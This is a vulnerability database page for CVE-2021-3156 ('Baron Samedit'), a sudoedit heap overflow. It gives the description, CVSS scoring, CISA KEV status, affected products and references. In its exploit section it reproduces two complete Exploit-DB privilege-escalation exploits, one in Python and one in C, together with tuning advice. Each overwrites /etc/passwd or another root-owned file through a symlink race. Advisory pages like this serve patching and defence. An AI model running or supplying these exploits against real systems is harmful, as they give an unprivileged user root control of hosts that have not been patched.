CVE-2021-3156 : Detail

CVE-2021-3156

7.8
/
High
96.37%V3
Local
2021-01-26
00h00 +00:00
2025-02-03
16h17 +00:00
CVE.org
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CVE Descriptions

Sudo before 1.9.5p2 contains an off-by-one error that can result in a heap-based buffer overflow, which allows privilege escalation to root via "sudoedit -s" and a command-line argument that ends with a single backslash character.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-193 Off-by-one Error
A product calculates or uses an incorrect maximum or minimum value that is 1 more, or 1 less, than the correct value.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Sudo Heap-Based Buffer Overflow Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2022-04-05 22h00 +00:00

Action is due : 2022-04-26 22h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 49521

Publication date : 2021-02-02 23h00 +00:00
Author : West Shepherd
EDB Verified : No

# Exploit Title: Sudo 1.9.5p1 - 'Baron Samedit ' Heap-Based Buffer Overflow Privilege Escalation (1) # Date: 2021-02-02 # Exploit Author: West Shepherd # Version: Sudo legacy versions from 1.8.2 to 1.8.31p2, stable versions from 1.9.0 to 1.9.5p1. # Tested on: Ubuntu 20.04.1 LTS Sudo version 1.8.31 # CVE : CVE-2021-3156 # Credit to: Advisory by Baron Samedit of Qualys and Stephen Tong (stong) for the C based exploit code. # Sources: # (1) https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit # (2) https://github.com/stong/CVE-2021-3156 # Requirements: Python3 #!/usr/bin/python3 import os import pwd import time import sys import argparse class Exploit(object): username = '' size = 0 data = '' def __init__(self, source, target, sleep): self.sleep = sleep self.source = source self.target = target @staticmethod def readFile(path): return open(path, 'r').read() @staticmethod def getUser(): return pwd.getpwuid(os.getuid())[0] @staticmethod def getSize(path): return os.stat(path).st_size def main(self): self.username = self.getUser() self.data = self.readFile(self.source) self.size = self.getSize(self.target) environ = { '\n\n\n\n\n': '\n' + self.data, 'SUDO_ASKPASS': '/bin/false', 'LANG': 'C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', 'A': 'A' * 0xffff } for i in range(5000): directory = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAA00000000000000000000000000%08d' % i overflow = '11111111111111111111111111111111111111111111111111111111%s' % directory if os.path.exists(directory): sys.stdout.write('file exists %s\n' % directory) continue child = os.fork() os.environ = environ if child: sys.stdout.write('[+] parent %d \n' % i) sys.stdout.flush() time.sleep(self.sleep) if not os.path.exists(directory): try: os.mkdir(directory, 0o700) os.symlink(self.target, '%s/%s' % (directory, self.username)) os.waitpid(child, 0) except: continue else: sys.stdout.write('[+] child %d \n' % i) sys.stdout.flush() os.setpriority(os.PRIO_PROCESS, 0, 20) os.execve( path='/usr/bin/sudoedit', argv=[ '/usr/bin/sudoedit', '-A', '-s', '\\', overflow ], env=environ ) sys.stdout.write('[!] execve failed\n') sys.stdout.flush() os.abort() break if self.size != self.getSize(self.target): sys.stdout.write('[*] success at iteration %d \n' % i) sys.stdout.flush() break sys.stdout.write(""" \nConsider the following if the exploit fails: \n\t(1) If all directories are owned by root then sleep needs to be decreased. \n\t(2) If they're all owned by you, then sleep needs increased. """) if __name__ == '__main__': parser = argparse.ArgumentParser( add_help=True, description='* Sudo Privilege Escalation / Heap Overflow - CVE-2021-3156 *' ) try: parser.add_argument('-source', action='store', help='Path to malicious "passwd" file to overwrite the target') parser.add_argument('-target', action='store', help='Target file path to be overwritten (default: /etc/passwd)') parser.add_argument('-sleep', action='store', help='Sleep setting for forked processes (default: 0.01 seconds') parser.set_defaults(target='/etc/passwd', sleep='0.01') options = parser.parse_args() if options.source is None: parser.print_help() sys.exit(1) exp = Exploit( source=options.source, target=options.target, sleep=float(options.sleep) ) exp.main() except Exception as err: sys.stderr.write(str(err))
Exploit Database EDB-ID : 49522

Publication date : 2021-02-02 23h00 +00:00
Author : nu11secur1ty
EDB Verified : No

# Exploit Title: Sudo 1.9.5p1 - 'Baron Samedit ' Heap-Based Buffer Overflow Privilege Escalation (2) # Authors and Contributors: cts, help from r4j, debug by nu11secur1ty # Date: 30.01.2021 # Vendor: https://www.sudo.ws/ # Link: https://www.sudo.ws/download.html # CVE: CVE-2021-3156 [+] Source: https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-3156/1.30.2021 [Exploit Program Code] // Exploit by @gf_256 aka cts // With help from r4j // Debug by @nu11secur1ty // Original advisory by Baron Samedit of Qualys // Tested on Ubuntu 18.04 and 20.04 & 20.04.01 // You will probably need to adjust RACE_SLEEP_TIME. #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #include <stdlib.h> #include <assert.h> #include <unistd.h> #include <sys/wait.h> #include <sys/types.h> #include <sys/resource.h> #include <sys/stat.h> #include <unistd.h> #include <fcntl.h> #include <pwd.h> // !!! best value of this varies from system-to-system !!! // !!! you will probably need to tune this !!! #define RACE_SLEEP_TIME 10000 char *target_file; char *src_file; size_t query_target_size() { struct stat st; stat(target_file, &st); return st.st_size; } char* read_src_contents() { FILE* f = fopen(src_file, "rb"); if (!f) { puts("oh no baby what are you doing :("); abort(); } fseek(f, 0, SEEK_END); long fsize = ftell(f); fseek(f, 0, SEEK_SET); char *content = malloc(fsize + 1); fread(content, 1, fsize, f); fclose(f); return content; } char* get_my_username() { // getlogin can return incorrect result (for example, root under su)! struct passwd *pws = getpwuid(getuid()); return strdup(pws->pw_name); } int main(int my_argc, char **my_argv) { puts("CVE-2021-3156 PoC by @gf_256"); puts("original advisory by Baron Samedit"); if (my_argc != 3) { puts("./meme <target file> <src file>"); puts("Example: ./meme /etc/passwd my_fake_passwd_file"); return 1; } target_file = my_argv[1]; src_file = my_argv[2]; printf("we will overwrite %s with stuff from %s\n", target_file, src_file); char* myusername = get_my_username(); printf("hi, my name is %s\n", myusername); size_t initial_size = query_target_size(); printf("%s is %zi big right now\n", target_file, initial_size); char* stuff_to_write = read_src_contents(); char memedir[1000]; char my_symlink[1000]; char overflow[1000]; char* bigstuff = calloc(1,0x10000); memset(bigstuff, 'A', 0xffff); // need a big shit in the stack so the write doesn't fail with bad address char *argv[] = {"/usr/bin/sudoedit", "-A", "-s", "\\", overflow, NULL }; char *envp[] = { "\n\n\n\n\n", // put some newlines here to separate our real contents from the junk stuff_to_write, "SUDO_ASKPASS=/bin/false", "LANG=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ", bigstuff, NULL }; puts("ok podracing time bitches"); // Boom =) // for (int i = 0; i < 5000; i++) for (int i = 0; i < 3000; i++) { sprintf(memedir, "ayylmaobigchungussssssssssss00000000000000000000000000%08d", i); sprintf(overflow, "11111111111111111111111111111111111111111111111111111111%s", memedir); sprintf(my_symlink, "%s/%s", memedir, myusername); puts(memedir); if (access(memedir, F_OK) == 0) { printf("dude, %s already exists, do it from a clean working dir\n", memedir); return 1; } pid_t childpid = fork(); if (childpid) { // parent usleep(RACE_SLEEP_TIME); mkdir(memedir, 0700); symlink(target_file, my_symlink); waitpid(childpid, 0, 0); } else { // child setpriority(PRIO_PROCESS, 0, 20); // set nice to 20 for race reliability execve("/usr/bin/sudoedit", argv, envp); // noreturn puts("execve fails?!"); abort(); } if (query_target_size() != initial_size) { puts("target file has a BRUH MOMENT!!!! SUCCess???"); system("xdg-open 'https://www.youtube.com/watch?v=cj_8X1cyVFc'"); // ayy lmao return 0; } } puts("Failed?"); puts("if all the meme dirs are owned by root, the usleep needs to be decreased."); puts("if they're all owned by you, the usleep needs to be increased"); return 0; }

Products Mentioned

Configuraton 0

Sudo_project>>Sudo >> Version From (including) 1.8.2 To (excluding) 1.8.32

Sudo_project>>Sudo >> Version From (including) 1.9.0 To (excluding) 1.9.5

Sudo_project>>Sudo >> Version 1.9.5

Sudo_project>>Sudo >> Version 1.9.5

Configuraton 0

Fedoraproject>>Fedora >> Version 32

Fedoraproject>>Fedora >> Version 33

Configuraton 0

Debian>>Debian_linux >> Version 9.0

Debian>>Debian_linux >> Version 10.0

Configuraton 0

Netapp>>Active_iq_unified_manager >> Version -

Netapp>>Cloud_backup >> Version -

Netapp>>Hci_management_node >> Version -

Netapp>>Oncommand_unified_manager_core_package >> Version -

Netapp>>Ontap_select_deploy_administration_utility >> Version -

Netapp>>Ontap_tools >> Version 9

    Netapp>>Solidfire >> Version -

    Configuraton 0

    Mcafee>>Web_gateway >> Version 8.2.17

    Mcafee>>Web_gateway >> Version 9.2.8

    Mcafee>>Web_gateway >> Version 10.0.4

    Configuraton 0

    Synology>>Diskstation_manager_unified_controller >> Version 3.0

    Synology>>Diskstation_manager >> Version 6.2

    Configuraton 0

    Synology>>Skynas_firmware >> Version -

    Synology>>Skynas >> Version -

    Configuraton 0

    Synology>>Vs960hd_firmware >> Version -

    Synology>>Vs960hd >> Version -

    Configuraton 0

    Beyondtrust>>Privilege_management_for_mac >> Version To (excluding) 21.1.1

    Beyondtrust>>Privilege_management_for_unix\/linux >> Version To (excluding) 10.3.2-10

    Configuraton 0

    Oracle>>Micros_compact_workstation_3_firmware >> Version 310

    Oracle>>Micros_compact_workstation_3 >> Version -

    Configuraton 0

    Oracle>>Micros_es400_firmware >> Version From (including) 400 To (including) 410

    Oracle>>Micros_es400 >> Version -

    Configuraton 0

    Oracle>>Micros_kitchen_display_system_firmware >> Version 210

    Oracle>>Micros_kitchen_display_system >> Version -

    Configuraton 0

    Oracle>>Micros_workstation_5a_firmware >> Version 5a

    Oracle>>Micros_workstation_5a >> Version -

    Configuraton 0

    Oracle>>Micros_workstation_6_firmware >> Version From (including) 610 To (including) 655

    Oracle>>Micros_workstation_6 >> Version -

    Configuraton 0

    Oracle>>Communications_performance_intelligence_center >> Version From (including) 10.3.0.0.0 To (including) 10.3.0.2.1

    • Oracle>>Communications_performance_intelligence_center >> Version 10.3.0.0.0 (Open CPE detail)
    • Oracle>>Communications_performance_intelligence_center >> Version 10.3.0.2.1 (Open CPE detail)

    Oracle>>Communications_performance_intelligence_center >> Version From (including) 10.4.0.1.0 To (including) 10.4.0.3.1

    • Oracle>>Communications_performance_intelligence_center >> Version 10.4.0.1.0 (Open CPE detail)
    • Oracle>>Communications_performance_intelligence_center >> Version 10.4.0.2 (Open CPE detail)
    • Oracle>>Communications_performance_intelligence_center >> Version 10.4.0.3 (Open CPE detail)
    • Oracle>>Communications_performance_intelligence_center >> Version 10.4.0.3.1 (Open CPE detail)

    Oracle>>Tekelec_platform_distribution >> Version From (including) 7.4.0 To (including) 7.7.1

    References

    https://www.kb.cert.org/vuls/id/794544
    Tags : third-party-advisory
    https://www.openwall.com/lists/oss-security/2021/01/26/3
    Tags : Exploit, Mailing List, Third Party Advisory
    https://support.apple.com/kb/HT212177
    Tags : Third Party Advisory